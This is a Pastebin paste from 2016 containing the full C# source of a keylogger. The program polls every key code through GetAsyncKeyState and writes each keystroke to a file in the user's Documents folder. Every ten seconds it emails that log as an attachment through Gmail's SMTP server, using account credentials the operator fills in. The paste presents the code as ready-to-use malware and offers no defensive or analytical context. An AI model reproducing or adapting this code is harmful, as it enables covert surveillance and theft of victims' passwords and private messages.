Advertisement
Guest User

Untitled

a guest
Apr 3rd, 2016
80
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.72 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Threading;
  7. using System.Windows.Forms;
  8. using System.Timers;
  9. using System.Net;
  10. using System.Net.Mail;
  11. using System.Runtime.InteropServices;
  12. using System.IO;
  13.  
  14. namespace ConsoleApplication3
  15. {
  16. class Program
  17. {
  18. [DllImport("user32.dll")]
  19. public static extern int GetAsyncKeyState(Int32 i);
  20. private static System.Timers.Timer aTimer;
  21. static void Main(string[] args)
  22.  
  23. {
  24. aTimer = new System.Timers.Timer(10000);
  25. aTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
  26. aTimer.Interval = 10000;
  27. aTimer.Enabled = true;
  28. Start();
  29.  
  30. }
  31. static void Start()
  32. {
  33. while (true)
  34. {
  35. Thread.Sleep(10);
  36. for (Int32 i = 0; i < 255; i++)
  37. {
  38. int keyState = GetAsyncKeyState(i);
  39. if (keyState == 1 || keyState == -32767)
  40. {
  41. Console.WriteLine((Keys)i);
  42. string toStringKeys = Convert.ToString((Keys)i);
  43. File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
  44. break;
  45.  
  46. }
  47.  
  48. }
  49.  
  50. }
  51. }
  52. static void OnTimedEvent(object source, ElapsedEventArgs e)
  53. {
  54. sendMail();
  55. Console.WriteLine("Email sent"); //just to make sure that the email gets sent
  56. Start();
  57. }
  58. static void sendMail()
  59. {
  60. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass;
  61. string keylogs = "C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt";
  62.  
  63.  
  64.  
  65. gmailUser = ""; //put your gmail email.
  66. gmailPass = ""; //Put your gmail pass
  67. toEmail = gmailUser;
  68. fromEmail = gmailUser;
  69. subject = "Keylogs";
  70. body = "Here it is!";
  71.  
  72. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  73. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  74.  
  75. smtp.EnableSsl = true;
  76. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  77.  
  78. if (keylogs != null || keylogs != string.Empty)
  79. {
  80. Attachment attach = new Attachment(keylogs);
  81. message.Attachments.Add(attach);
  82. }
  83.  
  84. smtp.Send(message);
  85.  
  86.  
  87. }
  88.  
  89. }
  90.  
  91.  
  92.  
  93. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement